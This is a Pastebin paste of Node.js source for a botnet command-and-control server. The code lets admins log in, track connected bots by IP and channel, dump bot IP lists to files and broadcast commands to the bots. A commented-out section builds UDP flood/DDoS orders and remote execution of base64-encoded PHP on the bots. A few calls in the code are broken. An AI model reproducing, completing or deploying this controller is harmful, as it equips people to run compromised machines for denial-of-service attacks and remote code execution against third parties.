Advertisement
Guest User

Untitled

a guest
Mar 15th, 2016
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.13 KB | None | 0 0
  1. //Made By Pluto | JavaScript Botnet
  2. var net = require('net'),
  3. fs = require('fs'),
  4. colors = [],
  5. events = [],
  6. socks = {},//all sockets
  7. users = [],//logged in users
  8. admins = [],
  9. channels = {},
  10. settings = false,
  11. usage = "Welcome To Pluto's JavaScript Botnet\r\n@login <username> <password/channel>\r\n@users #View users/admins/channels\r\n@ignore/listento #[all<events,users,channels>, event, user, channel]\r\n@events #Shows all events that've fired since runtime\r\n@logout #Close connection\r\n@exit #Close server\r\n@send [users, user:ip, admins, admin:username, channels]\r\n";
  12.  
  13. colors['black'] = '0;30';
  14. colors['dark_gray'] = '1;30';
  15. colors['blue'] = '0;34';
  16. colors['light_blue'] = '1;34';
  17. colors['green'] = '0;32';
  18. colors['light_green'] = '1;32';
  19. colors['cyan'] = '0;36';
  20. colors['light_cyan'] = '1;36';
  21. colors['red'] = '0;31';
  22. colors['light_red'] = '1;31';
  23. colors['purple'] = '0;35';
  24. colors['light_purple'] = '1;35';
  25. colors['brown'] = '0;33';
  26. colors['yellow'] = '1;33';
  27. colors['light_gray'] = '0;37';
  28. colors['white'] = '1;37';
  29.  
  30. function color(str, color){
  31. if(typeof color == 'undefined') color = 'cyan';
  32. var colored_string = str;
  33. if(colors[color] != 'undefined'){
  34. colored_string = "\033["+colors[color]+"m"+str+"\033[0m";
  35. }
  36. return colored_string;
  37. }
  38.  
  39. function loadConfig(){
  40. try{
  41. settings = JSON.parse(fs.readFileSync("botnet_cfg.json"));
  42. } catch(e){
  43. console.log("Missing config file! "+e);
  44. process.exit();
  45. }
  46. }
  47.  
  48. function socktype(signature){
  49. if(socks[signature].isAdmin) return 'ADMIN='+socks[signature].user;
  50. if(socks[signature].loggedIn) return 'USER';
  51. return 'GUEST';
  52. }
  53.  
  54. function me(socket, message){
  55. socket.write(message+"\n");
  56. }
  57.  
  58. function generateSignature(socket){
  59. return socket.remoteAddress.toString()+":"+socket.remotePort.toString();
  60. }
  61.  
  62. var server = net.createServer();
  63.  
  64. //this is like the old bots but more globalized
  65. var channel = {
  66. /*
  67. note: channel.channels[channel_room][integer_index] returns only the signature, use socks[signature] to fetch the socket object for writing
  68. */
  69. fetchChannels: function(){
  70. var temp = [];
  71. for(var channel in channels){
  72. temp.push(channel);
  73. }
  74. return temp;
  75. },
  76. exists: function(channel){
  77. return channels.hasOwnProperty(channel);
  78. },
  79. contains: function(channel, signature){
  80. /*returns the index of the signature witin the channel if it exists*/
  81. var index = channels[channel].indexOf(signature);
  82. if(index != -1){
  83. return index;
  84. }
  85. return -1;
  86. },
  87. create: function(channel){
  88. /*creates channel only if it's alphanumerical and only contains underlines (prevents contradictions with commands using specific channel)*/
  89. var reg = "^[a-zA-Z0-9_]*$";
  90. if(channel.match(reg) && channel.length <= 15){
  91. channels[channel] = [];
  92. server.broadcast.event('channel_created', color("New channel created: ", "light_purple")+color(channel, "yellow"));
  93. return;
  94. }
  95. server.broadcast.event('channel_error', color("Failed to create channel: ", "light_purple")+color(channel, "yellow"));
  96. },
  97. remove: function(channel){
  98. delete channels[channel];
  99. },
  100. removeSignatureFromChannel: function(signature, channel){
  101. if(this.exists(channel)){
  102. var index = this.contains(channel, signature)
  103. if(index != -1){
  104. channels[channel].splice(index, 1);
  105. server.broadcast.event('user_channel_removed', color("Removed ", "light_purple")+color(signature, "green")+color(" from ","light_purple")+color(channel, "yellow"));
  106. return;
  107. }
  108. server.broadcast.event('user_channel_removed_error', color("Failed to remove because ", "light_red")+color(signature, "red")+color(" isn't in ", "light_red")+color(channel, "yellow"));
  109. }
  110. },
  111. assign: function(signature, channel){
  112. /*assign a client to a channel by signature*/
  113. if(!this.exists(channel) && settings.server.create_channel_auto){
  114. if(this.create(channel)){
  115. this.assign(signature, channel);
  116. return true;
  117. }
  118. } else {
  119. return false;
  120. }
  121. var index = this.contains(channel, signature);
  122. if(index == -1){
  123. channels[channel].push(signature);
  124. return true;
  125. }
  126. return false;
  127. },
  128. select: function(cb, channel){
  129. /*cb will be called here with every socket object inside the selected channel*/
  130. var found = false,
  131. sent = 0;
  132. if(this.exists(channel)){
  133.  
  134. for(var signature_index = 0; signature_index < channels[channel].length;signature_index++){
  135. cb(socks[channels[channel][signature_index]]);
  136. sent++;
  137. }
  138. found = true;
  139. }
  140. return {found: found, sent: sent};
  141. }
  142.  
  143. }
  144.  
  145. var sockets = {
  146.  
  147. exists: function(signature){
  148. return socks.hasOwnProperty(signature);
  149. },
  150. remove: function(signature){
  151. delete socks[signature];
  152. },
  153. select_all: function(cb){
  154. for(var socket in socks){
  155. if(socks.hasOwnProperty(socket)){
  156. socket.sig =
  157. cb(socket);
  158. }
  159. }
  160. },
  161. select: function(cb, select, compare){
  162. var found = false;
  163. for(var signature in socks){
  164. if(socks.hasOwnProperty(signature)){
  165. var socket = socks[signature];
  166. if(socket[select] == compare) {
  167. socket.sig = (socket.remoteAddress.toString()+":"+socket.remotePort.toString());
  168. cb(socket);
  169. found = true;
  170. }
  171. }
  172. }
  173. return found;
  174. },
  175. isOnline: function(ip){
  176. for(var socket in socks){
  177. if(socks.hasOwnProperty(socket)){
  178. if(socket.remoteAddress == ip) {
  179. return true;
  180. }
  181. }
  182. }
  183. return false;
  184. }
  185. }
  186.  
  187. var user = {
  188. //logged in users
  189. add: function(signature){
  190. users.push(signature);
  191. },
  192. index: function(signature){
  193. return users.indexOf(signature);
  194. },
  195. del: function(signature){
  196. users.splice(this.index(signature), 1);
  197. },
  198. all_users: function(cb){
  199. for(var i = 0;i < users.length;i++){
  200. cb(users[i]);
  201. }
  202. },
  203. listeningToUser: function(signature, opposing_signature){
  204. /*
  205. both arrays empty: listening to all users
  206. listen empty but ignore not: ignoring certain users
  207. ignore empty but listen not: listening only to certain users
  208. ignoreall set true: ignore all users
  209. */
  210. var ignore_index = socks[signature].ignoring.users.indexOf(opposing_signature);
  211. var listen_index = socks[signature].listening.users.indexOf(opposing_signature);
  212. if((ignore_index == -1 && listen_index != -1)){
  213. return {listening: true, index: listen_index};
  214. }
  215. if(listen_index == -1 && ignore_index == -1){
  216. return {listening: true, index: -1};
  217. }
  218. return {listening: false, index: ignore_index};
  219. },
  220. ignoreUser: function(signature, opposing_signature){
  221. socks[signature].ignoring.all_users = false;
  222. var lobj = this.listeningToUser(signature, opposing_signature);
  223. if(lobj.listening){
  224. socks[signature].ignoring.users.push(opposing_signature);
  225. if(lobj.index != -1) socks[signature].listening.users.splice(lobj.index, 1);
  226. }
  227. },
  228. ignoreAllUsers: function(signature){
  229. socks[signature].ignoring.all_users = true;
  230. },
  231. ignoreAllUsersBut: function(signature, opposing_signature){
  232. socks[signature].ignoring.all_users = false;
  233. socks[signature].listening.users = [];
  234. socks[signature].listening.users.push(opposing_signature);
  235. socks[signature].ignoring.users = [];
  236. },
  237. listenToUser: function(signature, opposing_signature){
  238. socks[signature].ignoring.all_users = false;
  239. var lobj = this.listeningToUser(signature, opposing_signature);
  240. if(!lobj.listening){
  241. if(lobj.index != -1) socks[signature].ignoring.users.splice(lobj.index, 1);
  242. }
  243. },
  244. listenToAllUsers: function(signature){
  245. socks[signature].ignoring.all_users = false;
  246. socks[signature].ignoring.users = [];
  247. socks[signature].listening.users = [];
  248. },
  249. listenToAllUsersBut: function(signature, opposing_signature){
  250. socks[signature].ignoring.all_users = false;
  251. socks[signature].listening.users = [];
  252. socks[signature].ignoring.users = [];
  253. socks[signature].ignoring.users.push(opposing_signature);
  254. },
  255. listeningToChannel: function(signature, channel_name){
  256. /*
  257. both arrays empty: listening to all channels
  258. listen empty but ignore not: ignoring certain channels
  259. ignore empty but listen not: listening only to certain channels
  260. ignoreall set true: ignore all channels
  261. */
  262. if(socks[signature].ignoring.all_channels) return {listening: false};
  263. var ignore_index = socks[signature].ignoring.channels.indexOf(channel_name);
  264. var listen_index = socks[signature].listening.channels.indexOf(channel_name);
  265. if((ignore_index == -1 && listen_index != -1)){
  266. return {listening: true, index: listen_index};
  267. }
  268. if(listen_index == -1 && ignore_index == -1){
  269. return {listening: true, index: -1};
  270. }
  271. return {listening: false, index: ignore_index};
  272. },
  273. ignoreChannel: function(signature, channel_name){
  274. socks[signature].ignoring.all_channels = false;
  275. var lobj = this.listeningToChannel(signature, channel_name);
  276. if(lobj.listening){
  277. socks[signature].ignoring.channels.push(channel_name);
  278. if(lobj.index != -1) socks[signature].listening.channels.splice(lobj.index, 1);
  279. }
  280. },
  281. ignoreAllChannels: function(signature){
  282. socks[signature].ignoring.all_channels = true;
  283. },
  284. ignoreAllChannelsBut: function(signature, channel_name){
  285. socks[signature].ignoring.all_channels = false;
  286. socks[signature].listening.channels = [];
  287. socks[signature].listening.channels.push(channel_name);
  288. socks[signature].ignoring.channels = [];
  289. },
  290. listenToChannel: function(signature, channel_name){
  291. socks[signature].ignoring.all_channels = false;
  292. var lobj = this.listeningToChannel(signature, channel_name);
  293. if(!lobj.listening){
  294. if(lobj.index != -1) socks[signature].ignoring.channels.splice(lobj.index, 1);
  295. }
  296. },
  297. listenToAllChannels: function(signature){
  298. socks[signature].ignoring.all_channels = false;
  299. socks[signature].ignoring.channels = [];
  300. socks[signature].listening.channels = [];
  301. },
  302. listenAllChannelsBut: function(signature, channel_name){
  303. socks[signature].ignoring.all_channels = false;
  304. socks[signature].listening.channels = [];
  305. socks[signature].ignoring.channels = [];
  306. socks[signature].ignoring.channels.push(channel_name);
  307. },
  308. subbedToEvent: function(signature, event){
  309. /*
  310. both arrays empty: listening to all events
  311. listen empty but ignore not: ignoring certain events
  312. ignore empty but listen not: listening only to certain events
  313. ignoreall set true: ignore all events
  314. */
  315. var ignore_index = socks[signature].ignoring.events.indexOf(event);
  316. var listen_index = socks[signature].listening.events.indexOf(event);
  317. if((ignore_index == -1 && listen_index != -1)){
  318. return {listening: true, index: listen_index};
  319. }
  320. if(listen_index == -1 && ignore_index == -1){
  321. return {listening: true, index: -1};
  322. }
  323. return {listening: false, index: ignore_index};
  324. },
  325. ignoreEvent: function(signature, event){
  326. socks[signature].ignoring.all_events = false;
  327. var lobj = this.subbedToEvent(signature, event);
  328. if(lobj.listening){
  329. socks[signature].ignoring.events.push(event);
  330. if(lobj.index != -1) socks[signature].listening.events.splice(lobj.index, 1);
  331. }
  332. },
  333. ignoreAllEvents: function(signature){
  334. socks[signature].ignoring.all_events = true;
  335. },
  336. ignoreAllEventsBut: function(signature, event){
  337. socks[signature].ignoring.all_events = false;
  338. socks[signature].listening.events = [];
  339. socks[signature].listening.events.push(event);
  340. socks[signature].ignoring.events = [];
  341. },
  342. subscribeToEvent: function(signature, event){
  343. socks[signature].ignoring.all_events = false;
  344. var lobj = this.subbedToEvent(signature, event);
  345. if(!lobj.listening){
  346. if(lobj.index != -1) socks[signature].ignoring.events.splice(lobj.index, 1);
  347. }
  348. },
  349. subscribeToAllEvents: function(signature){
  350. socks[signature].ignoring.all_events = false;
  351. socks[signature].ignoring.events = [];
  352. socks[signature].listening.events = [];
  353. },
  354. subscribeToAlleventsBut: function(signature, event){
  355. socks[signature].ignoring.all_events = false;
  356. socks[signature].listening.events = [];
  357. socks[signature].ignoring.events = [];
  358. socks[signature].ignoring.events.push(event);
  359. }
  360. };
  361.  
  362. var admin = {
  363. //index signature in array instead of copying socket object
  364. add: function(signature){
  365. admins.push(signature);
  366. },
  367. index: function(signature){
  368. return admins.indexOf(signature);
  369. },
  370. del: function(signature){
  371. admins.splice(this.index(signature), 1);
  372. },
  373. all_admins: function(cb){
  374. for(var i = 0;i < admins.length;i++){
  375. cb(admins[i]);
  376. }
  377. }
  378. }
  379.  
  380. server.broadcast = {
  381. send: function(to, message, sender){
  382. if(typeof sender == "undefined") return;
  383. var from_signature = (sender.remoteAddress.toString()+":"+sender.remotePort.toString());
  384. var commands = [],
  385. regex = /\[(.*)\]/;
  386. if(to.match(regex)){
  387. var matches = regex.exec(to);
  388. commands = matches[1].replace(/\s+/g, '').split(",");
  389. } else {
  390. commands.push(to);
  391. }
  392. for(var cmd_i = 0;cmd_i < commands.length;cmd_i++){
  393. var rdata = commands[cmd_i].split(":");
  394. switch(rdata[0]){
  395. case 'users':
  396. user.all_users(function(signature){socks[signature].write(message);return true;});
  397. break;
  398. case 'user':
  399. if(sockets.select(function(socket){socket.write(message+"\n");}, "remoteAddress", rdata[1])) {
  400. sender.write(color("Sent to "+rdata[1]+"\n", "green"));
  401. } else {
  402. sender.write(color(rdata[1]+" is not connected to this server.\n", "red"));
  403. }
  404. break;
  405. case 'channel':
  406. var selchan = channel.select(function(socket){socket.write(message);}, rdata[1]);
  407. if(selchan.found){
  408. sender.write(color("Sent to "+selchan.sent+" clients in channel: ", "green")+color(rdata[1], "light_purple")+"\n");
  409. } else {
  410. sender.write(color(rdata[1], "light_blue")+color(" hass't been created yet!\n", "red"));
  411. }
  412. break;
  413. case 'admins':
  414. admin.all_admins(function(signature){
  415. if(user.listeningToChannel(signature, sender.channel).listening){
  416. if(user.listeningToUser(signature, from_signature)){
  417. socks[signature].write(message+"\n");
  418. }
  419. }
  420. });
  421. break;
  422. case 'admin':
  423. if(sockets.select(function(socket){
  424. if(user.listeningToChannel(socket.sig, sender.channel).listening){
  425. if(user.listeningToUser(socket.sig, generateSignature(sender))){
  426. socket.write(message+"\n");
  427. }
  428. }
  429. }, "user", rdata[1])) {
  430. sender.write(color("Sent to "+rdata[1]+"\n", "light_green"));
  431. } else {
  432. if(sockets.select(function(socket){socket.write(message+"\n");}, "remoteAddress", rdata[1])) {
  433. sender.write(color("Sent to "+rdata[1]+"\n", "light_green"));
  434. } else {
  435. sender.write(color(rdata[1]+" isn't online!\n", "light_red"));
  436. }
  437. }
  438. break;
  439. }
  440. }
  441. },
  442. event: function(event, message){
  443. if(events.indexOf(event) == -1) events.push(event);
  444. //console.log(message);
  445. admin.all_admins(function(signature){
  446. if(!socks[signature].ignoring.all_events && user.subbedToEvent(signature, event).listening){
  447. socks[signature].write(message+"\n");
  448. }
  449. });
  450. }
  451. }
  452.  
  453. server.on("connection", function(socket){
  454.  
  455. socket.sig = generateSignature(socket);
  456. socks[socket.sig] = socket;
  457.  
  458. setTimeout(function(){
  459. if(!socket.loggedIn) socket.destroy();
  460. }, 8000);
  461.  
  462. socket.on('data', function(data) {
  463. var dsplit = data.toString().split(" ");
  464. var cmd = dsplit[0].toLowerCase();
  465. dsplit.splice(0, 1);
  466. var args = dsplit;
  467. args.length == 0 ? cmd = cmd.trim() : args[args.length-1] = args[args.length-1].trim();
  468. var type = socktype(socket.sig);
  469. switch(cmd){
  470. case '@login':
  471. if(!socks[socket.sig].isAdmin && !socks[socket.sig].loggedIn){
  472. if(args.length > 0){
  473. if(args[0] == "guest"){
  474. args.splice(0, 1);
  475. var channel_name = args.length == 0 ? 'default' : args.join("_");
  476. channel.assign(socket.sig, channel_name);
  477. socks[socket.sig].channel = channel_name;
  478. socks[socket.sig].loggedIn = true;
  479. user.add(socket.sig);
  480. //me(socket,"logged in!");
  481. server.broadcast.event('new_login', color(socket.sig, "light_red")+" joined: "+color(channel_name, "light_blue")+" - "+users.length+ " users logged in.", 'light_green');
  482. } else {
  483. if(settings.admins.hasOwnProperty(args[0])){
  484. if(settings.admins[args[0]].password == args[1]){
  485. socket.chat_color = settings.admins[args[0]].chat_color;
  486. //admins[socket.sig] = client;
  487. socks[socket.sig].show_server_log = true;
  488. socks[socket.sig].isAdmin = true;
  489. socks[socket.sig].user = args[0];
  490. socks[socket.sig].loggedIn = true;
  491. socks[socket.sig].ignoring = settings.admins[args[0]].ignoring;
  492. socks[socket.sig].listening = settings.admins[args[0]].ignoring;
  493. admin.add(socket.sig);
  494. me(socket, color(usage, "yellow"));
  495. server.broadcast.event('new_admin_login', color('Admin '+socks[socket.sig].user+' logged in.','purple'));
  496. }
  497. }
  498. }
  499. }
  500. }
  501. break;
  502. case '@events':
  503. if(socks[socket.sig].isAdmin){
  504. me(socket,"Fired events: ("+events.join(", ")+")");
  505. }
  506. break;
  507. case '@users':
  508. if(socks[socket.sig].isAdmin){
  509. if(args.length > 0){
  510. param = args[0].split(":");
  511. funct = param[0];
  512. param.splice(0, 1);
  513. switch(funct.toUpperCase()){
  514. case 'LIST':
  515. if(param.length >= 1){
  516. var all = param[0] == 'all' ? true : false,
  517. limit = param[1] == 'all' ? false : param[1],
  518. count = 0,
  519. found = 0,
  520. save = Boolean(param[2]) || false,
  521. str = [];
  522. if(all){
  523. if(!limit){
  524. limit = users.length;
  525. } else {
  526. if(limit > users.length){
  527. limit = users.length;
  528. }
  529. }
  530. }
  531. for (var sigi = 0;sigi < users.length;sigi++) {
  532. var signature = users[sigi];
  533. if(limit) {if(count >= limit) break;}
  534. if(all){
  535. str.push(socks[signature].remoteAddress);
  536. found++;
  537. } else {
  538. if(socks[signature].channel == param[0]) {
  539. str.push(socks[signature].remoteAddress);
  540. found++;
  541. }
  542.  
  543. }
  544. count++;
  545. }
  546.  
  547. if(found > 0){
  548. me(socket,color("Listing " + found + " users!", "yellow")+"\r\n("+str.join(", ")+")");
  549. if(save) fs.writeFileSync(param[2], "User IP Dump for "+param[0]+"\n\n"+str.join('\n'), { flags: 'w' });
  550. } else {
  551. me(socket,color("No users to list using "+param[0]+"!", "red"));
  552. }
  553. } else {
  554. me(socket,color("Usage:\r\n@users [list:*<all,channel_id>:<ammount/all>:<save_output file>]", "yellow"));
  555. }
  556. break;
  557. }
  558. } else {
  559. var temp = [];
  560. for (var sigi = 0;sigi < admins.length;sigi++) {
  561. var signature = admins[sigi];
  562. temp.push(socks[signature].user);
  563. }
  564. var adm_str = admins.length == 0 ? '' : " ("+temp.join(", ")+")";
  565. var chan_str = Object.keys(channels).length == 0 ? '' : " ("+channel.fetchChannels().join(", ")+")";
  566. me(socket,color("Users: "+users.length+" - Channels: "+Object.keys(channels).length+chan_str+"\r\nAdmins: "+admins.length+adm_str+"\n"+color("Try @users list for more detailed information.", "yellow")));
  567. }
  568. }
  569. break;
  570. case '@ignore':
  571. case '@listento':
  572. if(socks[socket.sig].isAdmin){
  573. if(args.length > 0){
  574. var ignore = cmd == "@ignore" ? true : false;
  575. var cmd = args.join(" ");
  576. var commands = [],
  577. regex = /\[(.*)\]/;
  578. if(cmd.match(regex)){
  579. var matches = regex.exec(cmd);
  580. commands = matches[1].replace(/\s+/g, '').split(",");
  581. } else {
  582. commands.push(cmd);
  583. }
  584. for(var cmd_i = 0;cmd_i < commands.length;cmd_i++){
  585. var rdata = commands[cmd_i].split(" ");
  586. switch(rdata[0]){
  587. case 'all':
  588. switch(rdata[1]){
  589. case'users':
  590. if(rdata[2] != "but"){
  591. if(ignore){
  592. user.ignoreAllUsers(socket.sig);
  593. me(socket,color("You are now ignoring "+Object.keys(sockets).length+" users", "yellow"));
  594. } else {
  595. user.listenToAllUsers(socket.sig);
  596. me(socket,color("You are now listening to "+Object.keys(sockets).length+" users", "light_green"));
  597. }
  598. } else {
  599. if(ignore){
  600. user.ignoreAllUsersBut(socket.sig, rdata[3]);
  601. me(socket,color("You are now ignoring all users but "+rdata[3], "yellow"));
  602. } else {
  603. user.listenToAllUsersBut(socket.sig, rdata[3]);
  604. me(socket,color("You are now listening to all users but "+rdata[3], "yellow"));
  605. }
  606. }
  607. break;
  608. case 'channels':
  609. if(rdata[2] != "but"){
  610. if(ignore){
  611. user.ignoreAllChannels(socket.sig);
  612. me(socket,color("You are now ignoring ", "yellow")+color("all channels", "light_blue"));
  613. } else {
  614. user.listenToAllChannels(socket.sig);
  615. me(socket,color("You are now listening to ", "yellow")+color("all channels", "light_blue"));
  616. }
  617. } else {
  618. if(ignore){
  619. user.ignoreAllChannelsBut(socket.sig, rdata[3]);
  620. me(socket,color("You are now ignoring all channels but "+rdata[3], "yellow"));
  621. } else {
  622. user.listenToAllChannelsBut(socket.sig, rdata[3]);
  623. me(socket,color("You are now listening to all channels but "+rdata[3], "light_green"));
  624. }
  625. }
  626. break;
  627. case 'events':
  628. if(rdata[2] != "but"){
  629. if(ignore){
  630. user.ignoreAllEvents(socket.sig);
  631. me(socket,color("You are now ignoring all events.", "yellow"));
  632. } else {
  633. user.subscribeToAllEvents(socket.sig);
  634. me(socket,color("You are now subscribed to all events", "light_green"));
  635. }
  636. } else {
  637. if(ignore){
  638. user.ignoreAllEventsBut(socket.sig, rdata[3]);
  639. me(socket,color("You are now ignoring all events except ", "light_red")+color(rdata[3], "light_blue"));
  640. } else {
  641. user.subscribeToAlleventsBut(socket.sig, rdata[3]);
  642. me(socket,color("You are now subscribed to all events except ", "light_green")+color(rdata[3], "light_blue"));
  643. }
  644. }
  645. break;
  646. }
  647. break;
  648. case 'user':
  649. var signature = user.online(rdata[1]);
  650. if(signature){
  651. if(ignore){
  652. user.ignoreUser(socket.sig, signature);
  653. server.broadcast.send('me', color("You are now ignoring "+rdata[1], "light_green"), true);
  654. } else {
  655. user.listenToUser(socket.sig, signature);
  656. server.broadcast.send('me', color("You are now listening to "+rdata[1], "light_green"), true);
  657. }
  658. } else {
  659. me(socket,color("That user wasn't found!", "light_red"), true);
  660. }
  661. break;
  662. case 'channel':
  663. if(channel.exists(rdata[1])){
  664. if(ignore){
  665. user.ignoreChannel(socket.sig, rdata[1]);
  666. me(socket,color("You are now ignoring channel ","light_red")+color(rdata[1], "light_blue"));
  667. } else {
  668. user.listenToChannel(socket.sig, rdata[1]);
  669. me(socket,color("You are now listening to channel ","light_green")+color(rdata[1], "light_blue"));
  670. }
  671. } else {
  672. me(socket,color("That channel wasn't found!", "light_red"));
  673. }
  674. break;
  675. case 'event':
  676. if(ignore){
  677. user.ignoreEvent(socket.sig, rdata[1]);
  678. me(socket,color("You are now ignoring event ","light_red")+color(rdata[1], "light_blue"));
  679. } else {
  680. user.subscribeToEvent(socket.sig, rdata[1]);
  681. me(socket,color("You are now subscribed to event ","light_green")+color(rdata[1], "light_blue"));
  682. }
  683. break;
  684. }
  685. }
  686. } else {
  687. me(socket,color("Usage:\r\n@ignore [users, user:user_ip, channel:channel_id]\r\n@listen [users, user:user_ip, channel:channel_id]", "yellow"));
  688. }
  689. }
  690. break;
  691. case "@help":
  692. case "@use":
  693. case "@usage":
  694. if(socks[socket.sig].isAdmin){
  695. me(socket,color(usage, 'yellow'));
  696. }
  697. break;
  698. case "@logout":
  699. if(!socks[socket.sig].loggedIn) return;
  700. socks[socket.sig].destroy();
  701. break;
  702. case "@exit":
  703. if(socks[socket.sig].isAdmin){
  704. server.broadcast.event('server_closing', color("Server closing."));
  705. process.exit();
  706. }
  707. break;
  708. case "@send":
  709. //channel test heyyyy whats upppp
  710. if(socks[socket.sig].isAdmin){
  711. if(args.length > 1){
  712. var send_to = args[0];
  713. args.splice(0, 1);
  714. cmd_send = args.join(" ");
  715. //args.splice(0, 1);
  716. server.broadcast.send(send_to, cmd_send, socket);
  717. /*
  718. switch(cmd_send.toUpperCase()){
  719. case 'UDPFLOOD':
  720. case 'UDP':
  721. case 'DDOS':
  722. case 'DOS':
  723. case 'FLOOD':
  724. if(args.length > 3){
  725. host = args[2];
  726. time = args[3];
  727. port = args[4] || 80;
  728. psize = args[5] || 65500;
  729. threads = args[6] || 1;
  730. server.broadcast(send_to, ":udpflood "+host + " " + time + " " + port + " " + psize + " " + threads);
  731. me(socket,color("Command sent to "+send_to+" :udpflood "+host + " " + time + " " + port + " " + psize + " " + threads, 'orange'));
  732. } else {
  733. me(socket,color("Usage: @send "+ send_to +" " + cmd_send + " host time port? psize? threads?", 'yellow'));
  734. }
  735. break;
  736. case 'RUN':
  737. if(args.length > 1){
  738. var eval = args[2];
  739. server.broadcast(send_to, color("Command sent to "+send_to+" :eval "+eval, 'red'));
  740. } else {
  741. me(socket,color("Usage: @send "+send_to+" "+cmd_send+" [PHP as Base64] #Runs base64 encoded string as PHP", 'yellow'));
  742. }
  743. break;
  744. case 'SPEAK':
  745. if(args.length > 3){
  746. var speak = args[2];
  747. server.broadcast(send_to, ":speak "+speak);
  748. me(socket,color("Command sent to "+send_to+" :speak "+speak, 'red'));
  749. }
  750. break;
  751. default:
  752. args.splice(0, 1);
  753. server.broadcast(send_to, args.join(" "));
  754. break;
  755. }*/
  756. } else {
  757. me(socket,color('Usage - @send [all<all users & admins>, users, client:specific_client_ip, channel:specific_channel, admin:specific_admin_username]', 'yellow'));
  758. }
  759. }
  760. break;
  761. default:
  762. var colorz = socket.chat_color || 'cyan';
  763. var channel_str = "";
  764. if(!socks[socket.sig].isAdmin && socks[socket.sig].hasOwnProperty('channel')){
  765. channel_str = "["+color(socks[socket.sig].channel, "blue")+"]";
  766. }
  767. if(data.toString().trim() != '') {
  768. if(socks[socket.sig].loggedIn) server.broadcast.send("admins", color("[", "light_gray")+color(socktype(socket.sig), colorz)+"]"+channel_str+color("[", "brown")+socket.remoteAddress+color("]", "brown")+": "+color(data, colorz), socket);
  769. }
  770. break;
  771. }
  772. });
  773.  
  774. socket.on('close', function() {
  775. var tuser = false,
  776. chan = "";
  777. if(socks[socket.sig].hasOwnProperty('channel')){
  778. chan = "Left channel: "+color(socks[socket.sig].channel, "light_green");
  779. }
  780. if(socks[socket.sig].loggedIn) {
  781. tuser = socks[socket.sig].user || socket.sig;
  782. user.del(socket.sig);
  783. if(socks[socket.sig].isAdmin) admin.del(socket.sig);
  784. channel.removeSignatureFromChannel(socket.sig, socket.channel);
  785. delete socks[socket.sig];
  786. server.broadcast.event("user_logout", color(tuser+" logged out.", "red")+chan+"\n"+color(users.length, "yellow")+color(" users online.", 'light_green'));
  787. }
  788.  
  789. });
  790. socket.on('error', function(err) {
  791. });
  792. });
  793.  
  794. function removeDup(){
  795. if(settings.server.allow_dups) return;
  796. for (var signature1 in socks) {
  797. found = 0;
  798. if(socks[signature1].isLoggedIn){
  799. for (var signature2 in socks) {
  800. if(socks[signature1].remoteAddress == socks[signature2].remoteAddress) found++;
  801. }
  802. }
  803. if(found > 1){
  804. socks[signature1].write("DUP");
  805. socks[signature1].destroy();
  806. server.broadcast("duplicate", color("Removed duplicate socket: ", "cyan")+color(signature1, "light_red"));
  807. }
  808. }
  809. }
  810.  
  811. function handleInactiveChannel(){
  812. for (var chan in channels){
  813. if(channels.hasOwnProperty(chan)){
  814. if(channels[chan].length == 0){
  815. channel.remove(chan);
  816. server.broadcast.event("channel_removed", color("Removed channel no longer in use: ", "cyan")+color(chan, "light_red"));
  817. }
  818. }
  819. }
  820. }
  821.  
  822. function server_debug(){
  823. //echo data, test for mem leaks, anything etc...
  824. server.broadcast.event("server_debug", "Users logged in: "+Object.keys(users).length+" - Admins: "+admins.length + " - Channels: "+Object.keys(channels).length);
  825. }
  826. loadConfig();
  827. server.listen(settings.server.port, function() {
  828. console.log('Started, listening on port: '+settings.server.port);
  829. arc = settings.server.auto_remove_empty_channels;
  830. setInterval(handleInactiveChannel, 3000);
  831. setInterval(removeDup, 3000);
  832. setInterval(server_debug, 3000);
  833. });
  834.  
  835. process.on('exit', function(code) {
  836. admin.all_admins(function(signature){
  837. settings.admins[socks[signature].user].ignoring = socks[signature].ignoring = socks[signature].ignoring;
  838. settings.admins[socks[signature].user].listening = socks[signature].listening = socks[signature].listening;
  839. });
  840. if(settings) fs.writeFileSync("botnet_cfg.json", JSON.stringify(settings), { flags: 'w' });
  841. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement